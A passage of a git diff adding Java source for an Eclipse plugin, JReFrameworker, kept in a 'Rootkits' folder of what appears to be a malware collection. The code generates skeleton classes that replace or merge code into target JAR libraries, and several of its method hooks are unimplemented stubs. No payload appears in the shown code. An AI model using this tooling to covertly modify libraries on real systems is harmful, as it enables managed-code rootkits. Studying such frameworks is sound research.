+ public static JReFrameworkerAtlasProject create(String projectName) throws CoreException, IOException, URISyntaxException, TransformerException, ParserConfigurationException, SAXException {
+ try {
+ return open(projectName);
+ } catch (Exception e) {
+ BuildFile.Target[] targets = new BuildFile.Target[]{};
+ IStatus status = JReFrameworker.createProject(projectName, ResourcesPlugin.getWorkspace().getRoot().getLocation(), new NullProgressMonitor(), targets);
+ if(status.isOK()){
+ return open(projectName);
+ } else {
+ throw new IllegalArgumentException("Project could not be created.");
+ }
+ }
+ }
+
+ /**
+ * Opens a JReFrameworker project
+ * @param projectName
+ * @return
+ * @throws CoreException
+ * @throws IOException
+ * @throws URISyntaxException
+ * @throws TransformerException
+ * @throws ParserConfigurationException
+ * @throws SAXException
+ */
+ public static JReFrameworkerAtlasProject open(String projectName) throws CoreException, IOException, URISyntaxException, TransformerException, ParserConfigurationException, SAXException {
+ IProject project = ResourcesPlugin.getWorkspace().getRoot().getProject(projectName);
+ if(project.exists()){
+ try {
+ // open project if it is closed
+ if(!project.isOpen()){
+ project.open(new NullProgressMonitor());
+ }
+ // if the project is a JReFrameworker project
+ if(project.hasNature(JReFrameworkerNature.NATURE_ID) && project.hasNature(JavaCore.NATURE_ID)){
+ return new JReFrameworkerAtlasProject(new JReFrameworkerProject(project));
+ } else {
+ throw new IllegalArgumentException("Project is not a valid JReFrameworker project.");
+ }
+ } catch (CoreException e) {
+ throw new IllegalArgumentException("Error opening project.");
+ }
+ } else {
+ throw new IllegalArgumentException("Project does not exist.");
+ }
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JReFrameworkerAtlasProject.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JReFrameworkerAtlasProject.java
new file mode 100644
index 0000000..f359c49
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/projects/JReFrameworkerAtlasProject.java
@@ -0,0 +1,781 @@
+package com.jreframeworker.atlas.projects;
+
+import java.io.File;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.net.URISyntaxException;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Set;
+
+import javax.lang.model.element.Modifier;
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.transform.TransformerException;
+
+import org.eclipse.core.runtime.CoreException;
+import org.eclipse.jdt.core.JavaModelException;
+import org.xml.sax.SAXException;
+
+import com.ensoftcorp.atlas.core.db.graph.Node;
+import com.ensoftcorp.atlas.core.db.set.AtlasSet;
+import com.ensoftcorp.atlas.core.log.Log;
+import com.ensoftcorp.atlas.core.query.Q;
+import com.ensoftcorp.atlas.core.xcsg.XCSG;
+import com.jreframeworker.annotations.methods.MergeMethod;
+import com.jreframeworker.annotations.types.DefineType;
+import com.jreframeworker.annotations.types.DefineTypeFinality;
+import com.jreframeworker.annotations.types.DefineTypeVisibility;
+import com.jreframeworker.annotations.types.MergeType;
+import com.jreframeworker.atlas.analysis.ClassAnalysis;
+import com.jreframeworker.atlas.analysis.MethodAnalysis;
+import com.jreframeworker.atlas.analysis.MethodAnalysis.Return;
+import com.jreframeworker.common.RuntimeUtils;
+import com.jreframeworker.core.JReFrameworkerProject;
+import com.squareup.javapoet.AnnotationSpec;
+import com.squareup.javapoet.ArrayTypeName;
+import com.squareup.javapoet.JavaFile;
+import com.squareup.javapoet.MethodSpec;
+import com.squareup.javapoet.ParameterSpec;
+import com.squareup.javapoet.TypeName;
+import com.squareup.javapoet.TypeSpec;
+
+public class JReFrameworkerAtlasProject {
+
+ @SuppressWarnings("rawtypes")
+ private Class searchClasspathForClass(String className) throws SAXException, IOException, ParserConfigurationException, JavaModelException {
+ ArrayList classLoaders = new ArrayList();
+ classLoaders.add(getClass().getClassLoader());
+ for (String targetJar : listTargets()) {
+ File originalJar = RuntimeUtils.getClasspathJar(targetJar, project);
+ URL[] jarURL = { new URL("jar:file:" + originalJar.getCanonicalPath() + "!/") };
+ classLoaders.add(URLClassLoader.newInstance(jarURL));
+ }
+ for(ClassLoader classLoader : classLoaders){
+ try{
+ return classLoader.loadClass(className);
+ } catch (Exception e){
+ continue;
+ }
+ }
+ throw new RuntimeException("Class not found");
+ }
+
+ private JReFrameworkerProject project;
+
+ public JReFrameworkerAtlasProject(JReFrameworkerProject project) {
+ this.project = project;
+ }
+
+ /**
+ * Returns the Eclipse project resource
+ * @return
+ */
+ public JReFrameworkerProject getProject(){
+ return project;
+ }
+
+ public void refresh() throws CoreException {
+ project.refresh();
+ }
+
+ /**
+ * Lists the JReFrameworker project targets
+ * @return
+ * @throws SAXException
+ * @throws IOException
+ * @throws ParserConfigurationException
+ */
+ public Set listTargets() throws SAXException, IOException, ParserConfigurationException {
+ return project.listTargets();
+ }
+
+ /**
+ * Adds a target from the JReFrameworker project
+ * @throws CoreException
+ * @throws URISyntaxException
+ */
+ public void addTarget(File targetLibrary) throws TransformerException, ParserConfigurationException, SAXException, IOException, URISyntaxException, CoreException {
+ project.addTarget(targetLibrary);
+ }
+
+ /**
+ * Adds a target with the given relative library directory
+ * @param targetLibrary
+ * @param relativeLibraryDirectory
+ * @throws TransformerException
+ * @throws ParserConfigurationException
+ * @throws SAXException
+ * @throws IOException
+ * @throws URISyntaxException
+ * @throws CoreException
+ */
+ public void addTarget(File targetLibrary, String relativeLibraryDirectory) throws TransformerException, ParserConfigurationException, SAXException, IOException, URISyntaxException, CoreException {
+ project.addTarget(targetLibrary, relativeLibraryDirectory);
+ }
+
+ /**
+ * Removes a target from the JReFrameworker project
+ */
+ public void removeTarget(String target) throws TransformerException, ParserConfigurationException, SAXException, IOException {
+ project.removeTarget(target);
+ }
+
+ /**
+ * Creates logic to define a new class with the specified javadoc comment
+ *
+ * Example: defineType("com.test", "HelloWorld")
+ * @param sourcePackageName
+ * @param sourceClassName
+ * @throws IOException
+ * @throws CoreException
+ */
+ public Set defineType(String sourcePackageName, String sourceClassName, String javadoc) {
+ Set sourceFiles = new HashSet();
+ sourcePackageName = sourcePackageName.trim();
+ checkPackageName(sourcePackageName);
+
+ try {
+ TypeSpec type = TypeSpec.classBuilder(sourceClassName)
+ .addModifiers(Modifier.PUBLIC)
+ .addAnnotation(DefineType.class)
+ .addJavadoc(javadoc)
+ .build();
+
+ JavaFile javaFile = JavaFile.builder(sourcePackageName, type)
+ .build();
+
+ sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile));
+ } catch (Throwable t){
+ Log.error("Error creating define type logic", t);
+ }
+
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to define a new class
+ *
+ * Example: defineType("com.test", "HelloWorld")
+ * @param packageName
+ * @param sourceClassName
+ * @throws IOException
+ * @throws CoreException
+ */
+ public Set defineType(String sourcePackageName, String sourceClassName) {
+ String javadoc = "TODO: Implement class body"
+ + "\n\nThe entire contents of this class's bytecode will"
+ + "\nbe injected into the target's \"" + sourcePackageName + "\" package.\n";
+ return defineType(sourcePackageName, sourceClassName, javadoc);
+ }
+
+ /**
+ * Creates logic to replace a class in the given class target
+ * @param targetClass
+ */
+ public Set replaceType(String sourcePackageName, String sourceClassName){
+ String javadoc = "TODO: Implement class body"
+ + "\n\nThe entire contents of this class's bytecode will"
+ + "\nbe used to replace " + sourcePackageName + "." + sourceClassName + " in the target.\n";
+ return defineType(sourcePackageName, sourceClassName, javadoc);
+ }
+
+ /**
+ * Creates logic to replace a class in the given class targets
+ * @param targetClass
+ */
+ public Set replaceTypes(Q targetClasses){
+ return replaceTypes(targetClasses.nodes(XCSG.Java.Class).eval().nodes());
+ }
+
+ /**
+ * Creates logic to replace a class in the given class targets
+ * @param targetClass
+ */
+ public Set replaceTypes(AtlasSet targetClasses){
+ Set sourceFiles = new HashSet();
+ for(Node targetClass : targetClasses){
+ sourceFiles.addAll(replaceType(targetClass));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to replace a class in the given class target
+ * @param targetClass
+ */
+ public Set replaceType(Node targetClass){
+ Set sourceFiles = new HashSet();
+ if(targetClass.taggedWith(XCSG.Java.Class)){
+ String sourceClassName = ClassAnalysis.getName(targetClass);
+ String sourcePackageName = ClassAnalysis.getPackage(targetClass);
+ sourceFiles.addAll(replaceType(sourcePackageName, sourceClassName));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates a new class with that contains a DefineTypeFinality annotation
+ * set to the type specified by the given sourcePackageName and sourceClassName values
+ * with the given finality
+ *
+ * @param sourcePackageName
+ * @param sourceClassName
+ * @param finality
+ */
+ public Set setTypeFinality(String sourcePackageName, String sourceClassName, String targetClassPackageName, String targetClassName, boolean finality){
+ Set sourceFiles = new HashSet();
+ sourcePackageName = sourcePackageName.trim();
+ checkPackageName(sourcePackageName);
+ checkPackageName(targetClassPackageName);
+ try {
+ String javadoc = "Runs as a first pass to set type finality.\n";
+
+ TypeSpec type = TypeSpec.classBuilder(sourceClassName)
+ .addModifiers(Modifier.PUBLIC)
+ .addAnnotation(AnnotationSpec.builder(DefineTypeFinality.class)
+ .addMember("type", ("\"" + targetClassPackageName + "." + targetClassName + "\""))
+ .addMember("finality", new Boolean(finality).toString())
+ .build())
+ .addJavadoc(javadoc)
+ .build();
+
+ JavaFile javaFile = JavaFile.builder(sourcePackageName, type)
+ .build();
+
+ sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile));
+ } catch (Throwable t){
+ Log.error("Error creating define type finality logic", t);
+ }
+
+ return sourceFiles;
+ }
+
+ /**
+ * Creates a new class with that contains a DefineTypeVisibility annotation
+ * set to the type specified by the given sourcePackageName and sourceClassName values
+ * with the given finality
+ *
+ * @param sourcePackageName
+ * @param sourceClassName
+ * @param finality
+ */
+ public Set setTypeVisibility(String sourcePackageName, String sourceClassName, String targetClassPackageName, String targetClassName, String visibility){
+ Set sourceFiles = new HashSet();
+ sourcePackageName = sourcePackageName.trim();
+ checkPackageName(sourcePackageName);
+ checkPackageName(targetClassPackageName);
+ try {
+ String javadoc = "Runs as a first pass to set type visibility.\n";
+
+ TypeSpec type = TypeSpec.classBuilder(sourceClassName)
+ .addModifiers(Modifier.PUBLIC)
+ .addAnnotation(AnnotationSpec.builder(DefineTypeVisibility.class)
+ .addMember("type", ("\"" + targetClassPackageName + "." + targetClassName + "\""))
+ .addMember("visibility", ("\"" + visibility + "\""))
+ .build())
+ .addJavadoc(javadoc)
+ .build();
+
+ JavaFile javaFile = JavaFile.builder(sourcePackageName, type)
+ .build();
+
+ sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile));
+ } catch (Throwable t){
+ Log.error("Error creating define type visibility logic", t);
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates a new class with that contains a DefineMethodFinality annotation
+ * set to the type specified by the given sourcePackageName and sourceClassName values
+ * with the given target method overridden and finality set
+ *
+ * @param sourceClassPackageName
+ * @param sourceClassName
+ * @param targetClassPackageName
+ * @param targetClassName
+ * @param targetClassName
+ * @param finality
+ */
+ public Set setMethodFinality(String sourceClassPackageName, String sourceClassName, String targetClassPackageName, String targetClassName, Node targetMethod, boolean finality) {
+ // TODO: implement
+ return new HashSet();
+ }
+
+ /**
+ * Creates a new class with that contains a DefineMethodVisibility annotation
+ * set to the type specified by the given sourcePackageName and sourceClassName values
+ * with the given target method overridden and visibility set
+ *
+ * @param sourceClassPackageName
+ * @param sourceClassName
+ * @param targetClassPackageName
+ * @param targetClassName
+ * @param targetClassName
+ * @param visibility
+ */
+ public Set setMethodVisibility(String sourceClassPackageName, String sourceClassName, String targetClassPackageName, String targetClassName, Node targetMethod, String visibility) {
+ // TODO: implement
+ return new HashSet();
+ }
+
+ /**
+ * Creates logic to merge code into the given class target
+ * Note: Does not consider prebuild options
+ * @param targetClass
+ */
+ public Set mergeType(String sourcePackageName, String sourceClassName, String targetClassPackageName, String targetClassName){
+ Set sourceFiles = new HashSet();
+ sourcePackageName = sourcePackageName.trim();
+ checkPackageName(sourcePackageName);
+
+ try {
+ String qualifiedTargetClass = targetClassPackageName + "." + targetClassName;
+
+ String javadoc = "TODO: Implement class body"
+ + "\n\nThe contents of this class's bytecode will be used to define, replace, and/or"
+ + "\nmerge (preserve and replace) with " + sourcePackageName + "." + sourceClassName + " in the target.\n"
+ + "\nUse the @DefineField and @DefineMethod annotations to insert or replace\n"
+ + "\nfields and methods. Use the @MergeMethod annotation to preserve and hide the\n"
+ + "\noriginal method and replace the accessible method.\n";
+
+ TypeSpec type = TypeSpec.classBuilder(sourceClassName).superclass(searchClasspathForClass(qualifiedTargetClass))
+ .addModifiers(Modifier.PUBLIC)
+ .addAnnotation(MergeType.class)
+ .addJavadoc(javadoc)
+ .build();
+
+ JavaFile javaFile = JavaFile.builder(sourcePackageName, type)
+ .build();
+
+ sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile));
+ } catch (Throwable t){
+ Log.error("Error creating merge type logic", t);
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to merge code into the given class target
+ * @param targetClass
+ */
+ public Set mergeType(Node targetClass){
+ Set sourceFiles = new HashSet();
+ if(targetClass.taggedWith(XCSG.Java.Class)){
+ String targetClassPackageName = ClassAnalysis.getPackage(targetClass);
+ String targetClassName = ClassAnalysis.getName(targetClass);
+ if(ClassAnalysis.isFinal(targetClass)){
+ sourceFiles.addAll(setTypeFinality(targetClassPackageName, (targetClassName + "FinalityPrebuild"), targetClassPackageName, targetClassName, false));
+ }
+ if(ClassAnalysis.isFinal(targetClass)){
+ sourceFiles.addAll(setTypeVisibility(targetClassPackageName, (targetClassName + "VisibilityPrebuild"), targetClassPackageName, targetClassName, "public"));
+ }
+ sourceFiles.addAll(mergeType(targetClassPackageName, "Merge" + targetClassName , targetClassPackageName, targetClassName));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to replace a class in the given class targets
+ * @param targetClass
+ */
+ public Set mergeTypes(Q targetClasses){
+ return mergeTypes(targetClasses.nodes(XCSG.Java.Class).eval().nodes());
+ }
+
+ /**
+ * Creates logic to replace a class in the given class targets
+ * @param targetClass
+ */
+ public Set mergeTypes(AtlasSet targetClasses){
+ Set sourceFiles = new HashSet();
+ for(Node targetClass : targetClasses){
+ sourceFiles.addAll(mergeType(targetClass));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to define a new field in the given target classes
+ * @param fields
+ */
+ public Set defineFields(Q targetClasses){
+ return defineFields(targetClasses.nodes(XCSG.Java.Class).eval().nodes());
+ }
+
+ /**
+ * Creates logic to define a new field in the given target classes
+ * @param field
+ */
+ public Set defineFields(AtlasSet targetClasses){
+ Set sourceFiles = new HashSet();
+ for(Node field : targetClasses){
+ sourceFiles.addAll(defineField(field));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to define a new field in the given target class
+ * @param field
+ */
+ public Set defineField(Node targetClass){
+ Set sourceFiles = new HashSet();
+ if(targetClass.taggedWith(XCSG.Java.Class)){
+ // TODO: implement
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to replace code in the given fields
+ * @param fields
+ */
+ public Set replaceFields(Q fields){
+ return replaceFields(fields.nodes(XCSG.Field).eval().nodes());
+ }
+
+ /**
+ * Creates logic to replace code in the given fields
+ * @param fields
+ */
+ public Set replaceFields(AtlasSet fields){
+ Set sourceFiles = new HashSet();
+ for(Node field : fields){
+ sourceFiles.addAll(replaceField(field));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to replace code in the given field
+ * @param field
+ */
+ public Set replaceField(Node field){
+ Set sourceFiles = new HashSet();
+ if(field.taggedWith(XCSG.Field)){
+ // TODO: implement
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to define a new method in the given target classes
+ * @param methods
+ */
+ public Set defineMethods(Q targetClasses){
+ return defineMethods(targetClasses.nodes(XCSG.Java.Class).eval().nodes());
+ }
+
+ /**
+ * Creates logic to define a new method in the given target classes
+ * @param method
+ */
+ public Set defineMethods(AtlasSet targetClasses){
+ Set sourceFiles = new HashSet();
+ for(Node method : targetClasses){
+ sourceFiles.addAll(defineMethod(method));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to define a new method in the given target class
+ * @param method
+ */
+ public Set defineMethod(Node targetClass){
+ Set sourceFiles = new HashSet();
+ if(targetClass.taggedWith(XCSG.Java.Class)){
+ // TODO: implement
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to replace code in the given methods
+ * @param methods
+ */
+ public Set replaceMethods(Q methods){
+ return replaceMethods(methods.nodes(XCSG.Method).eval().nodes());
+ }
+
+ /**
+ * Creates logic to replace code in the given methods
+ * @param methods
+ */
+ public Set replaceMethods(AtlasSet methods){
+ Set sourceFiles = new HashSet();
+ for(Node method : methods){
+ sourceFiles.addAll(replaceMethod(method));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to replace code in the given method
+ * @param method
+ */
+ public Set replaceMethod(Node method){
+ Set sourceFiles = new HashSet();
+ if(method.taggedWith(XCSG.Method)){
+ // TODO: implement
+ }
+ return sourceFiles;
+ }
+
+
+ public Set mergeMethod(String sourcePackageName, String sourceClassName, Node targetMethod){
+ Set sourceFiles = new HashSet();
+ Node targetClass = MethodAnalysis.getOwnerClass(targetMethod);
+ sourcePackageName = sourcePackageName.trim();
+ checkPackageName(sourcePackageName);
+ if(targetClass.taggedWith(XCSG.Java.Class)){
+ String targetClassPackageName = ClassAnalysis.getPackage(targetClass);
+ String targetClassName = ClassAnalysis.getName(targetClass);
+ if(ClassAnalysis.isFinal(targetClass)){
+ sourceFiles.addAll(setTypeFinality(targetClassPackageName, (targetClassName + "TypeFinalityPrebuild"), targetClassPackageName, targetClassName, false));
+ }
+ if(!ClassAnalysis.isPublic(targetClass)){
+ sourceFiles.addAll(setTypeVisibility(targetClassPackageName, (targetClassName + "TypeVisibilityPrebuild"), targetClassPackageName, targetClassName, "public"));
+ }
+
+ String methodName = MethodAnalysis.getName(targetMethod);
+ String capitalizedMethodName = methodName.substring(0, 1).toUpperCase() + methodName.substring(1);
+ if(MethodAnalysis.isFinal(targetMethod)){
+ sourceFiles.addAll(setMethodFinality(targetClassPackageName, (targetClassName + capitalizedMethodName + "MethodFinalityPrebuild"), targetClassPackageName, targetClassName, targetMethod, false));
+ }
+ if(!ClassAnalysis.isPublic(targetMethod)){
+ sourceFiles.addAll(setMethodVisibility(targetClassPackageName, (targetClassName + capitalizedMethodName + "MethodVisibilityPrebuild"), targetClassPackageName, targetClassName, targetMethod, "public"));
+ }
+
+ try {
+ String qualifiedTargetClass = targetClassPackageName + "." + targetClassName;
+
+ // figure out the merge method modifiers
+ ArrayList modifierSet = new ArrayList();
+ modifierSet.add(Modifier.PUBLIC); // it will be public after it gets set as public...
+ if (MethodAnalysis.isStatic(targetMethod)) {
+ modifierSet.add(Modifier.STATIC);
+ }
+ Modifier[] modifiers = new Modifier[modifierSet.size()];
+ modifierSet.toArray(modifiers);
+
+ List parameters = new LinkedList();
+ for (MethodAnalysis.Parameter parameter : MethodAnalysis.getParameters(targetMethod)) {
+ @SuppressWarnings("rawtypes")
+ Class parameterClassType;
+ if (parameter.isPrimitive()) {
+ parameterClassType = parameter.getPrimitive();
+ } else {
+ parameterClassType = searchClasspathForClass(parameter.getType());
+ if (parameter.isArray()) {
+ // TODO: how to consider dimension
+ ArrayTypeName array = ArrayTypeName.of(parameterClassType);
+ parameters.add(ParameterSpec.builder(array, parameter.getName(), parameter.getModifiers())
+ .build());
+ } else {
+ parameters.add(ParameterSpec
+ .builder(parameterClassType, parameter.getName(), parameter.getModifiers())
+ .build());
+ }
+ }
+ }
+
+ Return ret = MethodAnalysis.getReturnType(targetMethod);
+ TypeName returnTypeName;
+ @SuppressWarnings("rawtypes")
+ Class returnClassType;
+ if (ret.isPrimitive()) {
+ returnClassType = ret.getPrimitive();
+ } else {
+ returnClassType = searchClasspathForClass(ret.getType());
+ }
+ if (ret.isArray()) {
+ // TODO: how to consider dimension
+ returnTypeName = ArrayTypeName.of(returnClassType);
+ } else {
+ returnTypeName = TypeName.get(returnClassType);
+ }
+
+ MethodSpec method;
+ if (modifierSet.contains(Modifier.STATIC)) {
+ method = MethodSpec.methodBuilder(methodName).addModifiers(modifiers).returns(returnTypeName)
+ .addParameters(parameters).addAnnotation(MergeMethod.class)
+ .addJavadoc("Use " + targetClassName + "." + methodName
+ + " to access the preserved original " + methodName + " implementation.\n" + "Use "
+ + sourceClassName + "." + methodName + " to access this modified " + methodName
+ + " implementation.\n")
+ .addComment("TODO: Implement").build();
+ } else {
+ // only add override annotation if the target method is not static
+ method = MethodSpec.methodBuilder(methodName).addModifiers(modifiers).returns(returnTypeName)
+ .addParameters(parameters).addAnnotation(MergeMethod.class).addAnnotation(Override.class)
+ .addJavadoc("Use super." + methodName + " to access the preserved original " + methodName
+ + " implementation.\n" + "Use this." + methodName + " to access this modified "
+ + methodName + " implementation.\n")
+ .addComment("TODO: Implement").build();
+ }
+
+ // TODO: consider using addStatement to add a return
+ // statement of the original implementation result if not
+ // void return
+
+ TypeSpec type = TypeSpec.classBuilder(sourceClassName)
+ .superclass(searchClasspathForClass(qualifiedTargetClass)).addModifiers(Modifier.PUBLIC)
+ .addAnnotation(MergeType.class).addMethod(method).build();
+
+ JavaFile javaFile = JavaFile.builder(sourcePackageName, type).build();
+
+ sourceFiles.add(writeSourceFile(sourcePackageName, sourceClassName, javaFile));
+ } catch (Throwable t) {
+ Log.error("Error creating merge method logic", t);
+ }
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to preserve and replace accessible code in the given methods
+ * @param methods
+ */
+ public Set mergeMethods(Q methods){
+ return mergeMethods(methods.nodes(XCSG.Method).eval().nodes());
+ }
+
+ /**
+ * Creates logic to preserve and replace accessible code in the given methods
+ * @param method
+ */
+ public Set mergeMethods(AtlasSet methods){
+ Set sourceFiles = new HashSet();
+ for(Node method : methods){
+ sourceFiles.addAll(mergeMethod(method));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to preserve and replace accessible code in the given method
+ * @param method
+ */
+ public Set mergeMethod(Node method){
+ Set sourceFiles = new HashSet();
+ if(method.taggedWith(XCSG.Method)){
+ Node targetClass = MethodAnalysis.getOwnerClass(method);
+ String packageName = ClassAnalysis.getPackage(targetClass);
+ String className = ClassAnalysis.getName(targetClass);
+ sourceFiles.addAll(mergeMethod(packageName, ("MergeMethod" + className), method));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to inject code before the given methods are executed
+ * @param method
+ */
+ public Set addPreExecutionMethodHooks(Q methods){
+ return addPreExecutionMethodHooks(methods.nodes(XCSG.Method).eval().nodes());
+ }
+
+ /**
+ * Creates logic to inject code before the given methods are executed
+ * @param method
+ */
+ public Set addPreExecutionMethodHooks(AtlasSet methods){
+ Set sourceFiles = new HashSet();
+ for(Node method : methods){
+ sourceFiles.addAll(addPreExecutionMethodHook(method));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to inject code before the given method is executed
+ * @param method
+ */
+ public Set addPreExecutionMethodHook(Node method){
+ Set sourceFiles = new HashSet();
+ if(method.taggedWith(XCSG.Method)){
+ // TODO: implement
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to inject code after the given methods are executed
+ * @param method
+ */
+ public Set addPostExecutionMethodHooks(Q methods){
+ return addPostExecutionMethodHooks(methods.nodes(XCSG.Method).eval().nodes());
+ }
+
+ /**
+ * Creates logic to inject code after the given methods are executed
+ * @param method
+ */
+ public Set addPostExecutionMethodHooks(AtlasSet methods){
+ Set sourceFiles = new HashSet();
+ for(Node method : methods){
+ sourceFiles.addAll(addPostExecutionMethodHook(method));
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Creates logic to inject code after the given method is executed
+ * @param method
+ */
+ public Set addPostExecutionMethodHook(Node method){
+ Set sourceFiles = new HashSet();
+ if(method.taggedWith(XCSG.Method)){
+ // TODO: implement
+ }
+ return sourceFiles;
+ }
+
+ /**
+ * Just some really weak input sanitization to catch potentially common mistakes
+ * @param packageName
+ */
+ private void checkPackageName(String packageName) {
+ if(packageName.contains("/")
+ || packageName.contains("\\")
+ || packageName.contains(" ")
+ || packageName.endsWith(".")){
+ throw new IllegalArgumentException("Invalid package name.");
+ }
+ }
+
+ /**
+ * Creates the new source file in the project
+ * @param packageName
+ * @param sourceClassName
+ * @param javaFile
+ * @throws IOException
+ * @throws CoreException
+ */
+ private File writeSourceFile(String sourcePackageName, String sourceClassName, JavaFile javaFile) throws IOException, CoreException {
+ // figure out where to put the source file
+ String relativePackageDirectory = sourcePackageName.replace(".", "/");
+ File sourceFile = new File(project.getProject().getFolder("/src/" + relativePackageDirectory).getLocation().toFile().getAbsolutePath()
+ + File.separator + sourceClassName + ".java");
+
+ // make the package directory if its not there already
+ sourceFile.getParentFile().mkdirs();
+
+ // write source file out to src folder
+ FileWriter fileWriter = new FileWriter(sourceFile);
+ javaFile.writeTo(fileWriter);
+ fileWriter.close();
+
+ // refresh the project
+ refresh();
+
+ return sourceFile;
+ }
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/ui/CodeWizardView.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/ui/CodeWizardView.java
new file mode 100644
index 0000000..1c907bb
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.atlas/src/com/jreframeworker/atlas/ui/CodeWizardView.java
@@ -0,0 +1,201 @@
+package com.jreframeworker.atlas.ui;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+import org.eclipse.core.resources.IProject;
+import org.eclipse.core.resources.ResourcesPlugin;
+import org.eclipse.core.runtime.CoreException;
+import org.eclipse.core.runtime.NullProgressMonitor;
+import org.eclipse.jdt.core.JavaCore;
+import org.eclipse.swt.SWT;
+import org.eclipse.swt.custom.ScrolledComposite;
+import org.eclipse.swt.custom.StyledText;
+import org.eclipse.swt.events.SelectionAdapter;
+import org.eclipse.swt.events.SelectionEvent;
+import org.eclipse.swt.layout.GridData;
+import org.eclipse.swt.layout.GridLayout;
+import org.eclipse.swt.widgets.Button;
+import org.eclipse.swt.widgets.Combo;
+import org.eclipse.swt.widgets.Composite;
+import org.eclipse.swt.widgets.Group;
+import org.eclipse.swt.widgets.Label;
+import org.eclipse.ui.part.ViewPart;
+
+import com.ensoftcorp.atlas.core.db.graph.Graph;
+import com.ensoftcorp.atlas.core.log.Log;
+import com.ensoftcorp.atlas.core.script.Common;
+import com.ensoftcorp.atlas.ui.selection.IAtlasSelectionListener;
+import com.ensoftcorp.atlas.ui.selection.SelectionUtil;
+import com.ensoftcorp.atlas.ui.selection.event.IAtlasSelectionEvent;
+import com.jreframeworker.atlas.codegen.CodeGenerator;
+import com.jreframeworker.atlas.codegen.CodeGenerators;
+import com.jreframeworker.builder.JReFrameworkerNature;
+import com.jreframeworker.common.WorkspaceUtils;
+import com.jreframeworker.core.JReFrameworkerProject;
+
+public class CodeWizardView extends ViewPart {
+
+ /**
+ * The ID of the view as specified by the extension.
+ */
+ public static final String ID = "com.jreframeworker.atlas.ui.CodeWizardView";
+
+ // the current Atlas selection
+ private Graph selection = Common.empty().eval();
+ private JReFrameworkerProject jrefProject = null;
+ private Set codeGenerators;
+ private Map codeGeneratorButtons;
+
+ public CodeWizardView() {}
+
+ @Override
+ public void setFocus() {}
+
+ @Override
+ public void createPartControl(Composite parent) {
+ // initialize code generators
+ CodeGenerators.loadCodeGeneratorContributions();
+ codeGenerators = CodeGenerators.getRegisteredCodeGenerators();
+ codeGeneratorButtons = new HashMap();
+
+ parent.setLayout(new GridLayout(1, false));
+
+ Group activeProjectGroup = new Group(parent, SWT.NONE);
+ activeProjectGroup.setText("Project");
+ activeProjectGroup.setLayout(new GridLayout(1, false));
+ activeProjectGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1));
+
+ Composite activeProjectComposite = new Composite(activeProjectGroup, SWT.NONE);
+ activeProjectComposite.setLayout(new GridLayout(2, false));
+ activeProjectComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1));
+
+ Label activeProjectLabel = new Label(activeProjectComposite, SWT.NONE);
+ activeProjectLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1));
+ activeProjectLabel.setText("Active Project: ");
+
+ Combo activeProjectCombo = new Combo(activeProjectComposite, SWT.NONE);
+ activeProjectCombo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1));
+
+ activeProjectCombo.removeAll();
+ for(IProject project : ResourcesPlugin.getWorkspace().getRoot().getProjects()){
+ if(project.exists()){
+ try {
+ // open project if it is closed
+ if(!project.isOpen()){
+ project.open(new NullProgressMonitor());
+ }
+ // if the project is a JReFrameworker project
+ if(project.hasNature(JReFrameworkerNature.NATURE_ID) && project.hasNature(JavaCore.NATURE_ID)){
+ JReFrameworkerProject jrefProject = new JReFrameworkerProject(project);
+ String projectName = jrefProject.getJavaProject().getProject().getName();
+ activeProjectCombo.add(projectName);
+ activeProjectCombo.setData(projectName, jrefProject);
+ }
+ } catch (CoreException e) {
+ String message = "Error opening project.";
+ Log.warning(message, new IllegalArgumentException(message));
+ }
+ }
+ }
+
+ if(activeProjectCombo.getItemCount() == 1){
+ activeProjectCombo.select(0);
